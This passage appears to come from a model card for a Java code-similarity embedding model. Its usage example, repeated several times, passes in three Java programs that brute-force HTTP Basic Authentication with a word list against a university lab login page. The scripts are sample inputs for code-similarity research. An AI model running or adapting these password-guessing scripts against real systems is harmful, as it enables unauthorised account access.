0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n         case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n         case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n         case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'package java.httputils;\n\nimport java.io.BufferedReader;\nimport java.io.FileNotFoundException;\nimport java.io.FileReader;\nimport java.io.IOException;\nimport java.net.MalformedURLException;\nimport java.sql.Timestamp;\n\n\npublic class Dictionary extends BruteForce\n{\n    protected String wordFile;\n\n    public Dictionary()\n    {\n        super();\n    }\n\n    public static void main(String[] args)\n    {\n        Dictionary dictionary = new Dictionary();\n\n        if (args.length < 3)\n        {\n            System.out.println(dictionary.printUsage());\n        }\n        else\n        {\n            dictionary.setURL(args[0]);\n            dictionary.setUserName(args[1]);\n            dictionary.setWordFile(args[2]);\n\n            if (args.length > 3)\n            {\n                dictionary.setFileName(args[3]);\n            }\n            dictionary.process();\n            System.out.println(dictionary.printResult());\n            System.exit(1);\n        }\n    }\n\n    public void process()\n    {\n        attempts = 0;\n        String password = "";\n        \n        setStart(new Timestamp(System.currentTimeMillis()));\n\n        BufferedReader input = null;\n        try\n        {\n            FileReader file = new FileReader(getWordFile());\n            \n            input = new BufferedReader(file);\n            \n        }\n        catch (FileNotFoundException x)\n        {\n            System.err.println("File not found: " + getWordFile());\n            System.exit(2);\n        }\n\n        try\n        {\n            while ((password = input.readLine()) != null)\n            {\n                try\n                {\n                    \n                    attempts++;\n                    BasicAuthHttpRequest req =\n                        new BasicAuthHttpRequest(\n                            getURL(),\n                            getUserName(),\n                            password);\n                    setPassword(password);\n                    setEnd(new Timestamp(System.currentTimeMillis()));\n                    setContent(req.getContent().toString());\n\n                    \n                    if (getFileName() != null\n                        && getFileName().length() > 0)\n                    {\n                        createReport();\n                    }\n                    return;\n                }\n                catch (MalformedURLException e)\n                {\n                    e.printStackTrace();\n                    return;\n                }\n                catch (IOException e)\n                {\n\n                }\n            }\n        }\n        catch (IOException x)\n        {\n            x.printStackTrace();\n        }\n\n        \n        setEnd(new Timestamp(System.currentTimeMillis()));\n\n    }\n\n    public String printUsage()\n    {\n        StringBuffer s = new StringBuffer();\n\n        s.append("** BruteForce proper usage **\\n\\n");\n        s.append(\n            "java ..httputils.Dictionary <URL> <UserName> <Word File> <OutputFile - Optional>\\n\\n");\n\n        return s.toString();\n    }\n    \n    public String getWordFile()\n    {\n        return wordFile;\n    }\n\n    \n    public void setWordFile(String string)\n    {\n        wordFile = string;\n    }\n\n}\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 512]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.8406, 0.0784],
#         [0.8406, 1.0000, 0.0079],
#         [0.0784, 0.0079, 1.0000]])
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-codet5-mnrl-triplets-ep1-bs16-lr2e-05-split0.0")
# Run inference
sentences = [
    'import java.net.*;\nimport java.io.*;\nimport java.*;\n\n public class Dictionary {\n\n   URLConnection conn = null;\n   private static boolean status = false;\n\n   public static void main (String args[]){\n     Dictionary a = new Dictionary();\n     String[] inp = {"http://sec-crack.cs.rmit.edu./SEC/2/index.php",\n     \t\t\t\t "",\n     \t\t\t\t ""};\n     File file = new File("words");\n     exit:\n     try {\n\t\t BufferedReader in = new BufferedReader(new FileReader(file));\n\t\t int attempt = 0;\n\t\t inp[2] = in.readLine();\n\t\t while (inp[2] != null) {\n\t\n\t\t\t if (inp[2].length() <= 3) {\n\t\t\t \tattempt++;\n\t\t\t \ta.doit(inp);\n     \t\t \tif (status) {\n\t\t\t \t\t System.out.println("Crrect password is: " + inp[2]);\n\t\t\t \t\t System.out.println("Number of attempts = " + attempt);\n\t\t\t \t\t break exit;\n\t\t\t \t}\n\t\t \t }\n\t\t\t inp[2] = in.readLine();\n   \t\t}\n\t } catch (FileNotFoundException e1) {\n\t\t \n\t\tSystem.err.println("File not found: " + file);\n\t} catch (IOException e2) {\n\t\t\n\t\te2.printStackTrace();\n\t}\n\n   }\n\n   public void doit(String args[]) {\n     \n     try {\n       BufferedReader in = new BufferedReader(\n           new InputStreamReader\n              (connectURL(new URL(args[0]), args[1], args[2])));\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           status = true;\n           }\n       }\n     catch (IOException e) {\n   \n       }\n     }\n\n   public InputStream connectURL (URL url, String uname, String pword)\n        throws IOException  {\n     conn = url.openConnection();\n     conn.setRequestProperty ("Authorization",\n     userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n   public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n   private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n   private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n        case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n        case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n        case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'import java.net.*;\nimport java.io.*;\n\n public class Dictionary {\n int attempts = 0;\n   URLConnection conn = null;\n\n   public static void main (String args[]){\n\n\tDictionary a = new Dictionary();\n     a.attack(args);\n     }\n\n   public void attack(String args[]) {\n   try {\n       String login = new String("");\n       String url = new String("http://sec-crack.cs.rmit.edu./SEC/2/index.php");\n       String passwd = new String();\n\n\n       passwd = getPasswd();\n       BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new URL(url), login , passwd)));\n\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           }\n           System.out.println("Password Cracked Successfully!!!");\n           System.out.println("The passsword is :" + passwd + "and got after " +attempts + " tries");\n       }\n     catch (IOException e) {\n  \n      String r = new String(e.getMessage());\n    if ( r != null)\n    {\n     System.out.println("Message :" +r);\n     Dictionary a = new Dictionary();\n     a.attack(args);\n    }\n     else\n     {\n\tSystem.out.println("Trying again");\n\tDictionary a = new Dictionary();\n\ta.attack(args);\n     }\n     }\n   }\n  public String getPasswd()\n  {\n\n int i=0;int j=0;\n attempts++;\n int count =0;\n System.out.println("Passing dictionary word and waiting for URL reply....... ");\n  String currentword = "";\n  String se = "";\n  try{\n FileInputStream reader = new FileInputStream ("words");\n DataInputStream in = new DataInputStream(reader);\n while (in.available() !=0)\n{\n currentword = in.readLine();\n count++;\n \n \n }\n }\n  catch( IOException e){}\n\n  return currentword;\n\t \n         }\n\n\n\n public InputStream openURLForInput (URL url, String uname, String pword)\n throws IOException  {\n     conn = url.openConnection();\n     conn.setDoInput (true);\n     conn.setRequestProperty ("Authorization", userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n\n public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n         case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n         case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n         case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'package java.httputils;\n\nimport java.io.BufferedReader;\nimport java.io.FileNotFoundException;\nimport java.io.FileReader;\nimport java.io.IOException;\nimport java.net.MalformedURLException;\nimport java.sql.Timestamp;\n\n\npublic class Dictionary extends BruteForce\n{\n    protected String wordFile;\n\n    public Dictionary()\n    {\n        super();\n    }\n\n    public static void main(String[] args)\n    {\n        Dictionary dictionary = new Dictionary();\n\n        if (args.length < 3)\n        {\n            System.out.println(dictionary.printUsage());\n        }\n        else\n        {\n            dictionary.setURL(args[0]);\n            dictionary.setUserName(args[1]);\n            dictionary.setWordFile(args[2]);\n\n            if (args.length > 3)\n            {\n                dictionary.setFileName(args[3]);\n            }\n            dictionary.process();\n            System.out.println(dictionary.printResult());\n            System.exit(1);\n        }\n    }\n\n    public void process()\n    {\n        attempts = 0;\n        String password = "";\n        \n        setStart(new Timestamp(System.currentTimeMillis()));\n\n        BufferedReader input = null;\n        try\n        {\n            FileReader file = new FileReader(getWordFile());\n            \n            input = new BufferedReader(file);\n            \n        }\n        catch (FileNotFoundException x)\n        {\n            System.err.println("File not found: " + getWordFile());\n            System.exit(2);\n        }\n\n        try\n        {\n            while ((password = input.readLine()) != null)\n            {\n                try\n                {\n                    \n                    attempts++;\n                    BasicAuthHttpRequest req =\n                        new BasicAuthHttpRequest(\n                            getURL(),\n                            getUserName(),\n                            password);\n                    setPassword(password);\n                    setEnd(new Timestamp(System.currentTimeMillis()));\n                    setContent(req.getContent().toString());\n\n                    \n                    if (getFileName() != null\n                        && getFileName().length() > 0)\n                    {\n                        createReport();\n                    }\n                    return;\n                }\n                catch (MalformedURLException e)\n                {\n                    e.printStackTrace();\n                    return;\n                }\n                catch (IOException e)\n                {\n\n                }\n            }\n        }\n        catch (IOException x)\n        {\n            x.printStackTrace();\n        }\n\n        \n        setEnd(new Timestamp(System.currentTimeMillis()));\n\n    }\n\n    public String printUsage()\n    {\n        StringBuffer s = new StringBuffer();\n\n        s.append("** BruteForce proper usage **\\n\\n");\n        s.append(\n            "java ..httputils.Dictionary <URL> <UserName> <Word File> <OutputFile - Optional>\\n\\n");\n\n        return s.toString();\n    }\n    \n    public String getWordFile()\n    {\n        return wordFile;\n    }\n\n    \n    public void setWordFile(String string)\n    {\n        wordFile = string;\n    }\n\n}\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 512]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.8406, 0.0784],
#         [0.8406, 1.0000, 0.0079],
#         [0.0784, 0.0079, 1.0000]])
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-codet5-mnrl-triplets-ep1-bs16-lr2e-05-split0.0")
# Run inference
sentences = [
    'import java.net.*;\nimport java.io.*;\nimport java.*;\n\n public class Dictionary {\n\n   URLConnection conn = null;\n   private static boolean status = false;\n\n   public static void main (String args[]){\n     Dictionary a = new Dictionary();\n     String[] inp = {"http://sec-crack.cs.rmit.edu./SEC/2/index.php",\n     \t\t\t\t "",\n     \t\t\t\t ""};\n     File file = new File("words");\n     exit:\n     try {\n\t\t BufferedReader in = new BufferedReader(new FileReader(file));\n\t\t int attempt = 0;\n\t\t inp[2] = in.readLine();\n\t\t while (inp[2] != null) {\n\t\n\t\t\t if (inp[2].length() <= 3) {\n\t\t\t \tattempt++;\n\t\t\t \ta.doit(inp);\n     \t\t \tif (status) {\n\t\t\t \t\t System.out.println("Crrect password is: " + inp[2]);\n\t\t\t \t\t System.out.println("Number of attempts = " + attempt);\n\t\t\t \t\t break exit;\n\t\t\t \t}\n\t\t \t }\n\t\t\t inp[2] = in.readLine();\n   \t\t}\n\t } catch (FileNotFoundException e1) {\n\t\t \n\t\tSystem.err.println("File not found: " + file);\n\t} catch (IOException e2) {\n\t\t\n\t\te2.printStackTrace();\n\t}\n\n   }\n\n   public void doit(String args[]) {\n     \n     try {\n       BufferedReader in = new BufferedReader(\n           new InputStreamReader\n              (connectURL(new URL(args[0]), args[1], args[2])));\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           status = true;\n           }\n       }\n     catch (IOException e) {\n   \n       }\n     }\n\n   public InputStream connectURL (URL url, String uname, String pword)\n        throws IOException  {\n     conn = url.openConnection();\n     conn.setRequestProperty ("Authorization",\n     userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n   public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n   private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n   private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n        case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n        case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n        case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'import java.net.*;\nimport java.io.*;\n\n public class Dictionary {\n int attempts = 0;\n   URLConnection conn = null;\n\n   public static void main (String args[]){\n\n\tDictionary a = new Dictionary();\n     a.attack(args);\n     }\n\n   public void attack(String args[]) {\n   try {\n       String login = new String("");\n       String url = new String("http://sec-crack.cs.rmit.edu./SEC/2/index.php");\n       String passwd = new String();\n\n\n       passwd = getPasswd();\n       BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new URL(url), login , passwd)));\n\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           }\n           System.out.println("Password Cracked Successfully!!!");\n           System.out.println("The passsword is :" + passwd + "and got after " +attempts + " tries");\n       }\n     catch (IOException e) {\n  \n      String r = new String(e.getMessage());\n    if ( r != null)\n    {\n     System.out.println("Message :" +r);\n     Dictionary a = new Dictionary();\n     a.attack(args);\n    }\n     else\n     {\n\tSystem.out.println("Trying again");\n\tDictionary a = new Dictionary();\n\ta.attack(args);\n     }\n     }\n   }\n  public String getPasswd()\n  {\n\n int i=0;int j=0;\n attempts++;\n int count =0;\n System.out.println("Passing dictionary word and waiting for URL reply....... ");\n  String currentword = "";\n  String se = "";\n  try{\n FileInputStream reader = new FileInputStream ("words");\n DataInputStream in = new DataInputStream(reader);\n while (in.available() !=0)\n{\n currentword = in.readLine();\n count++;\n \n \n }\n }\n  catch( IOException e){}\n\n  return currentword;\n\t \n         }\n\n\n\n public InputStream openURLForInput (URL url, String uname, String pword)\n throws IOException  {\n     conn = url.openConnection();\n     conn.setDoInput (true);\n     conn.setRequestProperty ("Authorization", userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n\n public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n         case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n         case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n         case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'package java.httputils;\n\nimport java.io.BufferedReader;\nimport java.io.FileNotFoundException;\nimport java.io.FileReader;\nimport java.io.IOException;\nimport java.net.MalformedURLException;\nimport java.sql.Timestamp;\n\n\npublic class Dictionary extends BruteForce\n{\n    protected String wordFile;\n\n    public Dictionary()\n    {\n        super();\n    }\n\n    public static void main(String[] args)\n    {\n        Dictionary dictionary = new Dictionary();\n\n        if (args.length < 3)\n        {\n            System.out.println(dictionary.printUsage());\n        }\n        else\n        {\n            dictionary.setURL(args[0]);\n            dictionary.setUserName(args[1]);\n            dictionary.setWordFile(args[2]);\n\n            if (args.length > 3)\n            {\n                dictionary.setFileName(args[3]);\n            }\n            dictionary.process();\n            System.out.println(dictionary.printResult());\n            System.exit(1);\n        }\n    }\n\n    public void process()\n    {\n        attempts = 0;\n        String password = "";\n        \n        setStart(new Timestamp(System.currentTimeMillis()));\n\n        BufferedReader input = null;\n        try\n        {\n            FileReader file = new FileReader(getWordFile());\n            \n            input = new BufferedReader(file);\n            \n        }\n        catch (FileNotFoundException x)\n        {\n            System.err.println("File not found: " + getWordFile());\n            System.exit(2);\n        }\n\n        try\n        {\n            while ((password = input.readLine()) != null)\n            {\n                try\n                {\n                    \n                    attempts++;\n                    BasicAuthHttpRequest req =\n                        new BasicAuthHttpRequest(\n                            getURL(),\n                            getUserName(),\n                            password);\n                    setPassword(password);\n                    setEnd(new Timestamp(System.currentTimeMillis()));\n                    setContent(req.getContent().toString());\n\n                    \n                    if (getFileName() != null\n                        && getFileName().length() > 0)\n                    {\n                        createReport();\n                    }\n                    return;\n                }\n                catch (MalformedURLException e)\n                {\n                    e.printStackTrace();\n                    return;\n                }\n                catch (IOException e)\n                {\n\n                }\n            }\n        }\n        catch (IOException x)\n        {\n            x.printStackTrace();\n        }\n\n        \n        setEnd(new Timestamp(System.currentTimeMillis()));\n\n    }\n\n    public String printUsage()\n    {\n        StringBuffer s = new StringBuffer();\n\n        s.append("** BruteForce proper usage **\\n\\n");\n        s.append(\n            "java ..httputils.Dictionary <URL> <UserName> <Word File> <OutputFile - Optional>\\n\\n");\n\n        return s.toString();\n    }\n    \n    public String getWordFile()\n    {\n        return wordFile;\n    }\n\n    \n    public void setWordFile(String string)\n    {\n        wordFile = string;\n    }\n\n}\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 512]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.8406, 0.0784],
#         [0.8406, 1.0000, 0.0079],
#         [0.0784, 0.0079, 1.0000]])
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-codet5-mnrl-triplets-ep1-bs16-lr2e-05-split0.0")
# Run inference
sentences = [
    'import java.net.*;\nimport java.io.*;\nimport java.*;\n\n public class Dictionary {\n\n   URLConnection conn = null;\n   private static boolean status = false;\n\n   public static void main (String args[]){\n     Dictionary a = new Dictionary();\n     String[] inp = {"http://sec-crack.cs.rmit.edu./SEC/2/index.php",\n     \t\t\t\t "",\n     \t\t\t\t ""};\n     File file = new File("words");\n     exit:\n     try {\n\t\t BufferedReader in = new BufferedReader(new FileReader(file));\n\t\t int attempt = 0;\n\t\t inp[2] = in.readLine();\n\t\t while (inp[2] != null) {\n\t\n\t\t\t if (inp[2].length() <= 3) {\n\t\t\t \tattempt++;\n\t\t\t \ta.doit(inp);\n     \t\t \tif (status) {\n\t\t\t \t\t System.out.println("Crrect password is: " + inp[2]);\n\t\t\t \t\t System.out.println("Number of attempts = " + attempt);\n\t\t\t \t\t break exit;\n\t\t\t \t}\n\t\t \t }\n\t\t\t inp[2] = in.readLine();\n   \t\t}\n\t } catch (FileNotFoundException e1) {\n\t\t \n\t\tSystem.err.println("File not found: " + file);\n\t} catch (IOException e2) {\n\t\t\n\t\te2.printStackTrace();\n\t}\n\n   }\n\n   public void doit(String args[]) {\n     \n     try {\n       BufferedReader in = new BufferedReader(\n           new InputStreamReader\n              (connectURL(new URL(args[0]), args[1], args[2])));\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           status = true;\n           }\n       }\n     catch (IOException e) {\n   \n       }\n     }\n\n   public InputStream connectURL (URL url, String uname, String pword)\n        throws IOException  {\n     conn = url.openConnection();\n     conn.setRequestProperty ("Authorization",\n     userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n   public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n   private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n   private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n        case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n        case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n        case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'import java.net.*;\nimport java.io.*;\n\n public class Dictionary {\n int attempts = 0;\n   URLConnection conn = null;\n\n   public static void main (String args[]){\n\n\tDictionary a = new Dictionary();\n     a.attack(args);\n     }\n\n   public void attack(String args[]) {\n   try {\n       String login = new String("");\n       String url = new String("http://sec-crack.cs.rmit.edu./SEC/2/index.php");\n       String passwd = new String();\n\n\n       passwd = getPasswd();\n       BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new URL(url), login , passwd)));\n\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           }\n           System.out.println("Password Cracked Successfully!!!");\n           System.out.println("The passsword is :" + passwd + "and got after " +attempts + " tries");\n       }\n     catch (IOException e) {\n  \n      String r = new String(e.getMessage());\n    if ( r != null)\n    {\n     System.out.println("Message :" +r);\n     Dictionary a = new Dictionary();\n     a.attack(args);\n    }\n     else\n     {\n\tSystem.out.println("Trying again");\n\tDictionary a = new Dictionary();\n\ta.attack(args);\n     }\n     }\n   }\n  public String getPasswd()\n  {\n\n int i=0;int j=0;\n attempts++;\n int count =0;\n System.out.println("Passing dictionary word and waiting for URL reply....... ");\n  String currentword = "";\n  String se = "";\n  try{\n FileInputStream reader = new FileInputStream ("words");\n DataInputStream in = new DataInputStream(reader);\n while (in.available() !=0)\n{\n currentword = in.readLine();\n count++;\n \n \n }\n }\n  catch( IOException e){}\n\n  return currentword;\n\t \n         }\n\n\n\n public InputStream openURLForInput (URL url, String uname, String pword)\n throws IOException  {\n     conn = url.openConnection();\n     conn.setDoInput (true);\n     conn.setRequestProperty ("Authorization", userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n\n public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | 